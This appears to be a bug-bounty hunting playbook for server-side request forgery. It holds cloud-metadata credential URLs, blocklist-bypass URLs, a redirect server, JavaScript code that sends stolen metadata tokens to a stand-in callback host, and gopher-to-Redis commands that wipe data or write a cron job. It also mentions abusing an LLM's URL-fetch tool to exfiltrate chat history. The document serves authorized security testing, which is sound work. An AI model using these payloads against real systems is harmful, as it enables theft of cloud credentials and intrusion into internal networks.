Hunt Ssrf

TL;DR

• 目的：Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exc
• 适用：通用
• 输入：目标信息
• 输出：执行结果 + 证据
• 红线：仅限授权范围内；扫描限速 -c 10 -rl 10；所有动作记 oplog
• 关联：上游：003-src-session-start → 下游：003-src-session-start（按需调用）

Crown Jewel Targets

SSRF is highest-value when the target runs on cloud infrastructure (AWS, GCP, Azure) where metadata services expose credentials, or when the server sits inside a complex internal network (Kubernetes clusters, microservice meshes, internal APIs). Priority targets:

• Cloud-hosted SaaS products (GCP metadata at 169.254.169.254 or metadata.google.internal, AWS IMDSv1)
• Kubernetes/orchestration platforms — aggregated API servers, metrics-server, kubelet endpoints expose privileged cluster operations
• Internal developer tooling — CI/CD, workflow orchestration (Flyte, Argo), admin panels not exposed externally
• Link preview / URL fetching features — Reddit-style preview APIs, Slack-style unfurling, media processors
• Dataset/file import pipelines — anything that fetches remote URLs on behalf of a user
• Enterprise self-hosted software (GitHub Enterprise, GitLab) — SSRF frequently chains to RCE via internal services

Payouts are highest when SSRF reaches: cloud credentials → account takeover, internal admin APIs → data exfil, or chains to RCE.

OOB-Or-It-Didn't-Happen Gate (Read First)

Claims of blind SSRF require an out-of-band (OOB) confirmation. Always. No exceptions.

OOB means: a Burp Collaborator domain, an interactsh-client listener, a canarytoken, or any DNS+HTTP receiver you control that confirms the server actually made an outbound network connection on your behalf.

What is NOT confirmation of SSRF

• The server echoing your URL back in an error message. Example: "The Web application at http://evil.example.com/x could not be found" — this is the server formatting your input into an error string, NOT making an outbound HTTP request. The error came from string formatting, not from network failure.
• The server returning a different status code for an external URL vs localhost. Different error responses can come from URL-scheme validators, not from actual fetching.
• A delayed response when the URL is sent. Delay can come from DNS resolution attempts within the parser, not from completed HTTP fetches.

What IS confirmation of SSRF

• A DNS lookup for your unique Collaborator subdomain appears in the OOB listener.
• An HTTP request to your Collaborator HTTP endpoint with the server's source IP and User-Agent.
• For SSRF in JavaScript-execution contexts (PDF renderers, headless browsers), a fetch from the server to your callback URL.

Default workflow

1. Plant the Collaborator payload first. Sub-tagging (dlsrcurl.<collab>, import.<collab>) only works if your listener actually reports the queried subdomain back to you — verify that before relying on it. Burp's get_collaborator_interactions keys results by payload ID, not by subdomain, so several sub-tags generated from one payload are indistinguishable in the output. When that is the case, generate a fresh payload per candidate parameter and send exactly one request per payload.
2. Send the request to the target endpoint.
3. Wait 30–120 seconds, then poll the OOB listener.
4. Only after a confirmed callback do you claim SSRF.
5. If zero callbacks across all sub-tagged sinks: SSRF claims must be retracted, even if error messages echo URLs.

Lesson from a authorized engagement: SharePoint's /_layouts/15/download.aspx?SourceUrl= returned 500 with the title "The Web application at <attacker-URL> could not be found". Initial scan flagged this as SSRF (server clearly processed the URL). 38 Collaborator-tagged payloads across 12+ URL-accepting parameters yielded zero DNS or HTTP interactions. The "echo" was client-side error-string formatting; the server never made an outbound HTTP request. The path is actually an SP-internal SPFile/SPWebApplication resolver, not a generic URL fetcher. Reporting this as SSRF would have been N/A'd at triage.

Attribute the callback to ONE parameter before reporting

A callback proves the server made a request. It does not tell you which parameter caused it, and the fix depends entirely on that.

BAD   — four candidate fields, one payload, fired in one batch
        -> callbacks arrive, attribution impossible, retest required

GOOD  — fresh payload per field, one request each, poll between
        url      -> callbacks    <- this is the sink
        apiUrl   -> none
        endpoint -> none
        target   -> none

Run the negative control. A parameter that produces no callback is evidence, and it belongs in the report — it is what lets the client fix the right field instead of allowlisting the wrong one.

Lesson from an authorized engagement. A server-side request-forwarding endpoint accepted both url and apiUrl. The application's own stored config used apiUrl, so that was the obvious suspect — but apiUrl was inert and url was the live sink. Batch-firing both had produced callbacks with no attribution; only per-payload isolation identified the real parameter. A report naming apiUrl would have sent the client to patch a field that does nothing.

Blind vs full-read — establish which before scoring

After a callback confirms the request leaves the server, check whether the upstream response body is returned to you. These are different findings:

• Blind (callback only, no body): on the never-submit list standalone. Needs an internal service reached, or data returned, to be reportable.
• Full-read (upstream body in the response): substantially higher severity — read arbitrary internal endpoints directly.

# one request settles it: fetch something with a known, recognisable body
-d '{"url":"https://example.com/"}'
# {"statusCode":200,"data":"<!doctype html>...<title>Example Domain</title>..."}
#                          ^ body returned = full-read, not blind

Also body-diff a known-internal target against a known-external one. A distinct status on a link-local address (e.g. 401 from 169.254.169.254 where every other target returns 200) is the metadata service answering — that proves reach to a non-internet-routable address, which a status code alone otherwise cannot.

Attack Surface Signals

URL Patterns to Hunt

/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=

JS Patterns (in client-side code)

// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint

Response Header Signals

X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames

Tech Stack Signals

• Kubernetes — any public-facing aggregated API, metrics endpoints
• GCP — any service fetching URLs that runs on Compute Engine/GKE
• Node.js/Python with URL-fetching libraries (requests, node-fetch, axios)
• Headless browsers (Puppeteer, PhantomJS) used for screenshots/PDF — extremely high value
• XML/DSPL/CSV import features — XXE-style SSRF vector
• OAuth/webhook registration endpoints

Step-by-Step Hunting Methodology

1. Map all URL-input parameters across the target: spider JS files for fetch calls, check all API docs, look for file-import, link-preview, webhook, image-proxy, and redirect features.

2. Set up an out-of-band detection server using Burp Collaborator, interactsh, or https://canarytokens.org — you need a unique per-test DNS/HTTP callback domain.

3. Send your callback URL as the parameter value first (blind SSRF check before anything else):

   url=https://YOUR.interactsh.com/test
   

   Confirm the server makes an outbound connection. This proves execution before attempting internal targets.

4. Test internal cloud metadata endpoints:

   • GCP: http://metadata.google.internal/computeMetadata/v1/
   • AWS: http://169.254.169.254/latest/meta-data/
   • Azure: http://169.254.169.254/metadata/instance

5. Test localhost and common internal ports:

   http://localhost/
   http://127.0.0.1:8080/
   http://127.0.0.1:6443/  (Kubernetes API)
   http://127.0.0.1:2379/  (etcd)
   http://127.0.0.1:9090/  (Prometheus)
   http://127.0.0.1:9200/  (Elasticsearch)
   

6. Check for redirect-based SSRF — if the endpoint validates the initial URL but follows 30x redirects, host a redirect server pointing to internal addresses. Kubernetes report (Report 3) was specifically triggered by hijacked API servers returning 30x responses.

7. Test JavaScript-execution contexts (headless browsers, PDF renderers):

   • Inject <script> tags that make XMLHttpRequest or fetch() calls to internal services
   • Exfil via DNS: encode response data in subdomain of your callback domain

8. Enumerate the internal network using timing differences and error message variations:

   • Port scan via response time (connection refused vs timeout)
   • Check error messages for hostname/IP leakage

9. Chain findings — if you have SSRF to internal services, look for:

   • Unauthenticated admin endpoints
   • Redis, memcached (protocol smuggling)
   • Internal OAuth token endpoints
   • SSRF → CSRF → RCE (GitHub Enterprise pattern)

10. Document the full chain with screenshots of each hop before reporting.

Payload & Detection Patterns

Basic Out-of-Band Detection

# Using interactsh-client
interactsh-client -v

# Test parameter
curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"

# With common headers that might unlock SSRF
curl -s "https://target.com/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://YOUR_ID.oast.pro"}'

Cloud Metadata Payloads

# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id

# AWS IMDSv1 (no auth required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Localhost/Internal Port Payloads

# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods          # kubelet
http://127.0.0.1:2379/v2/keys        # etcd

# Common internal services
http://127.0.0.1:6379/               # Redis (check for inline commands)
http://127.0.0.1:9200/_cat/indices   # Elasticsearch
http://127.0.0.1:5601/               # Kibana
http://127.0.0.1:8500/v1/catalog/services  # Consul

Redirect-Based SSRF (when direct is blocked)

# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(301)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()

JavaScript-Based SSRF (headless browser contexts)

// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
  headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
  fetch('https://YOUR.callback.com/?d='+btoa(d))
})

// DNS exfil for blind contexts
var x = new XMLHttpRequest();
x.open('GET','http://169.254.169.254/latest/meta-data/');
x.send();
x.onload = function(){
  var img = new Image();
  img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
}

Grep Patterns for Source Code Review

# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"

# Find URL parameters being passed to HTTP clients
grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"

# Find redirect following
grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"

ffuf Parameter Discovery

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
  -fs 0 -mc all

Common Root Causes

1. "The user said it was safe" — Developers trust user-supplied URLs for fetching remote resources (link previews, thumbnails, webhooks) without validating the destination. The feature is legitimate; the missing validation is the bug.

2. Allowlist bypass via redirects — Developers validate the initial URL against an allowlist but configure HTTP clients to follow redirects automatically. An attacker's server on the allowlist redirects to an internal address.

3. Aggregated/proxy API trust — Kubernetes-style architectures where an API aggregation layer blindly proxies 30x responses from registered extension servers. Compromising a single extension server gives SSRF into the core API.

4. Server-side rendering without sandboxing — Headless browser features (PDF generation, link preview screenshots) execute attacker-controlled JavaScript in a network-privileged context with access to metadata services.

5. XML/DSPL/file parsers fetching external entities — Import features that parse structured files (XML, DSPL, CSV with remote schemas) fetch attacker-controlled URLs, often with no URL validation at all.

6. Internal hostname leakage via response differences — Services return different error messages, timing, or response sizes for internal vs. external hosts, enabling blind enumeration even when content isn't returned.

7. IMDSv1 still enabled — Cloud deployments that haven't migrated to IMDSv2 (AWS) or haven't required the Metadata-Flavor header (GCP) allow unauthenticated credential access from any SSRF.

Bypass Techniques

Blocklist Bypasses (When localhost, 127.0.0.1, 169.254.x.x are blocked)

# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/

# Decimal/octal/hex encoding of IP
http://2130706433/          (127.0.0.1 decimal)
http://0x7f000001/          (127.0.0.1 hex)
http://0177.0.0.1/          (octal)
http://127.1/               (short form)
http://0/                   (resolves to 0.0.0.0)

# DNS rebinding - register a domain that resolves to internal IP after first check
# Use https://lock.cmpxchg8b.com/rebinder.html

# Subdomain pointing to internal IP
http://localtest.me/         (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://customer.attacker.com/ (A record → 192.168.1.1)

# URL parser confusion
http://evil.com@127.0.0.1/
http://127.0.0.1#evil.com
http://127.0.0.1%25@evil.com  (URL encoding)
http://evil.com\.127.0.0.1/   (backslash)

# Protocol confusion
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/_FLUSHALL  (Redis via gopher)
sftp://attacker.com:11111/
ldap://127.0.0.1/

# Redirect chain bypass
https://allowlisted-domain.com → HTTP 301 → http://169.254.169.254/

# Case variation / URL encoding
http://Localhost/
http://127.0.0.1%2F@evil.com/

Schema/Protocol Bypasses

# When only http/https allowed but implementation is loose
http://169.254.169.254:80@evil.com/
//169.254.169.254/

TOCTOU (Time-of-Check vs Time-of-Use)

• Validate URL → sleep → redirect to internal (race condition with DNS rebinding)
• Register a domain with 0-TTL, rotate DNS between validation and fetch calls

When Response is Not Returned (Blind SSRF)

• Use DNS-only callbacks (data encoded in subdomain labels)
• Use timing differences for port scanning
• Use different HTTP methods (PUT/DELETE) to trigger distinct behaviors on internal services
• Chain with other bugs that leak response data (e.g., error messages, logs)

Gate 0 Validation

Before writing the report, confirm all three:

1. What can the attacker DO right now?

   • Can you retrieve a response proving internal network access? (Show the metadata token, internal API response, or confirmed DNS callback)
   • If blind: can you demonstrate port differentiation or confirmed OOB callback tied to a specific internal address?
   • "The server makes a request" alone is insufficient — show where it goes and what comes back.

2. What does the victim LOSE?

   • Cloud credentials (IAM tokens) → full cloud account compromise?
   • Internal service data (user PII, secrets, API keys)?
   • Ability to pivot to RCE via internal admin service?
   • If the answer is only "the server fetches my URL," severity is low — quantify the actual reachable blast radius.

3. Can it be reproduced in 10 minutes from scratch?

   • Is the vulnerable endpoint still live and the parameter still present?
   • Does your callback server show the hit reliably (not intermittently)?
   • Can a second person follow your steps without prior knowledge and get the same result?
   • If reproduction requires specific timing, tokens, or luck — resolve the flakiness before submitting.

Real Impact Examples

Scenario A: Cloud Credential Exfiltration via Link Preview (Snapchat/GCP Pattern)

A public-facing "link preview" API accepted a url parameter and fetched the target server-side to generate thumbnail content. The feature ran on GCP Compute Engine with IMDSv1 enabled and no Metadata-Flavor header enforcement on the server side. By supplying url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token, the attacker received a valid OAuth2 access token for the instance's service account. The token granted access to internal GCP project resources including storage buckets containing user data. The attacker used JavaScript execution within a headless rendering context to exfiltrate the token via DNS-encoded subdomains, bypassing response body restrictions.

Scenario B: Kubernetes API Compromise via Hijacked Aggregated Server (Kubernetes Pattern)

An attacker who could register a Kubernetes API extension server (metrics-server equivalent) returned 302 Location: http://127.0.0.1:6443/api/v1/secrets responses to the aggregation layer. Because the aggregation proxy followed redirects automatically without re-validating the destination against the internal network blocklist, the redirect caused the aggregation layer itself (running with elevated cluster credentials) to fetch internal Kubernetes API secrets and return them in the response. This effectively allowed an attacker with limited API registration privileges to escalate to full cluster secret read access — a critical privilege escalation via SSRF chained through trusted infrastructure components.

Disclosed Report Citations (Backfill +6 — 2018-2024)

The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Cloud-metadata SSRFs across all three providers, DNS rebinding, gopher-to-Redis-RCE, link-preview SSRF, and headless-browser/PDF-generator chains are all represented.

3. HackerOne — SSRF in Analytics Reports (PDF generator → AWS metadata) (H1 #2262382 · Writeup)

   • Subclass: headless-browser SSRF (PDF generator) → AWS metadata SSRF (IMDSv1)
   • Payload: injected <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> into a template element rendered server-side; backend Ruby loop rendered the untrusted template HTML into PDF, reflecting IMDS response inside the rendered PDF / error message
   • Root cause: unsanitised user-controlled template fragment reflected in PDF rendering pipeline; no IMDSv2 enforcement
   • Year: 2023 — $25,000 (CVSS 10.0 Critical)

4. Shopify Exchange — SSRF in screenshot service → GCP metadata → container root (H1 #341876)

   • Subclass: GCP metadata SSRF → SSRF-to-RCE chain
   • Payload: created store on partners.shopify.com, edited password.liquid template to embed a request to http://metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google, then triggered the Exchange screenshotting service to render the template server-side
   • Root cause: screenshotter fetched user-controlled template with no metadata-host blocklist and no metadata-concealment proxy
   • Year: 2018 — $25,000 (canonical headless-browser → metadata)

5. Concrete CMS — SSRF mitigation bypass via DNS rebinding → AWS IAM keys (H1 #1369312)

   • Subclass: DNS rebinding SSRF → AWS metadata SSRF (IMDSv1)
   • Payload: file-upload-from-URL feature; attacker DNS server alternated A records between 1.2.3.4 (public) and 169.254.169.254; needed 2-3 requests to win the race between validation and fetch; final request retrieved IAM role credentials
   • Root cause: validated hostname by resolving once; download path re-resolved DNS without pinning the validated IP
   • Year: 2021 — fixed in 8.5.7 / 9.0.1

6. Yahoo Mail — Blind SSRF → Gopher → Redis RCE (Writeup)

   • Subclass: gopher protocol abuse → Redis SSRF → SSRF-to-RCE chain
   • Payload: blind SSRF in Yahoo Mail backend reached via gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE — wrote a cron via Redis to get command execution
   • Root cause: gopher scheme not blocklisted; internal Redis unauthenticated on default port; SSRF target accepted 302 redirect from attacker host to gopher://
   • Year: 2020 — $15,000

7. Reddit Matrix — Blind SSRF in preview_url API (H1 #1960765)

   • Subclass: link-preview SSRF (blind, internal port-scan via timing/response codes)
   • Payload: GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/ — varied internal IPs/ports; service names and IPs leaked through response differences before the fix
   • Root cause: link-preview fetcher did not reject RFC1918 / link-local destinations; allowlist-by-scheme only
   • Year: 2023 — $6,000

8. Azure DevOps — SSRF in Service Hooks + DNS rebinding bypass in endpointproxy (Binary Security writeup)

   • Subclass: webhook URL field SSRF + DNS rebinding SSRF → Azure IMDS / managed identity
   • Payload: configured service-hook webhook URL or endpointproxy URL parameter to attacker rebinding host; second resolution returned 169.254.169.254; chained CRLF injection to set required Metadata: true header for Azure IMDS
   • Root cause: validation-then-fetch with separate DNS lookups; CRLF in URL path injected headers needed by Azure IMDS
   • Year: 2023-2024 — $15,000 total across 3 reports

Related Skills & Chains

• cloud-iam-deep — SSRF is the canonical entry to cloud metadata service. Chain primitive: SSRF → IMDSv1 token theft → cloud-iam-deep privilege escalation reaches iam:CreateUser / sts:AssumeRole on cross-account roles.
• hunt-llm-ai — LLMs with fetch_url tools become SSRF proxies bypassing network egress controls. Chain primitive: LLM tool-use (fetch_url) + SSRF → attacker URL exfils chat history and IMDS token from the LLM container.
• hunt-rce — Internal Redis/Memcached are unauthenticated by default and reachable via gopher://. Chain primitive: SSRF + Gopher → internal Redis CONFIG SET dir + RCE via cron / SSH authorized_keys write.
• hunt-cloud-misconfig — Internal-only buckets/APIs become reachable through SSRF egress. Chain primitive: SSRF + DNS rebinding → SSRF-protected-endpoint bypass → internal /admin or private S3 bucket read.
• security-arsenal — Load the SSRF IP Bypass Table (11 techniques: decimal IP, IPv6 mapped, octal, suffix dot, DNS rebinding, redirect chain, etc.) before testing filters.
• triage-validation — Apply the OOB-Or-It-Didn't-Happen gate: every blind SSRF claim requires a Burp Collaborator hit with a unique marker before report submission.

When to Use

• Target presents indicators of the vulnerability class this skill covers
• Fingerprint or recon indicates the relevant technology stack is in use
• Authorized testing scope covers the target endpoint or component
• Findings need to be validated through this skill's methodology

When NOT to Use

• Target is clearly outside this skill's scope (refer to related skills)
• No authorization for testing
• Need a different category of testing (use related skills)

国内云实战增量（MERGE-2026-09）

来源：社区 SRC 实战经验包（2026-08 共享版）整理；本节全部手法行带「假点」（证伪条件），单站失败不得写成手法失效。